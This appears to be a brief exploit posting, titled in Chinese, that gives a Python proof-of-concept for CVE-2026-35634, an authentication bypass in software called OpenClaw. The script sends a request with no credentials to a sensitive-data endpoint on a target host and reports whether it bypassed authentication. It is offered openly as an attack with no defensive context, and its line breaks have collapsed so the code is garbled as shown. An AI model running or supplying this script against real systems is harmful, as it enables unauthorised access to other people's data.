CVE-2026-35634 OpenClaw认证绕过漏洞

import requests def exploit_openclaw(target_ip, target_port): """ PoC for CVE-2026-35634: OpenClaw Authentication Bypass This script sends an unauthenticated request to a local-direct route. """ # Construct the target URL pointing to the Canvas gateway # Note: The vulnerability triggers when the request appears to come from a local source # or is routed through the local-direct mechanism. url = f"http://{target_ip}:{target_port}/canvas/api/sensitive_data" headers = { "User-Agent": "CVE-2026-35634-POC", # No Authorization header is sent, exploiting the bypass } try: print(f"[+] Sending unauthenticated request to {url}...") response = requests.get(url, headers=headers, timeout=5) if response.status_code == 200: print("[+] Success! Request bypassed authentication.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage exploit_openclaw("127.0.0.1", 8080)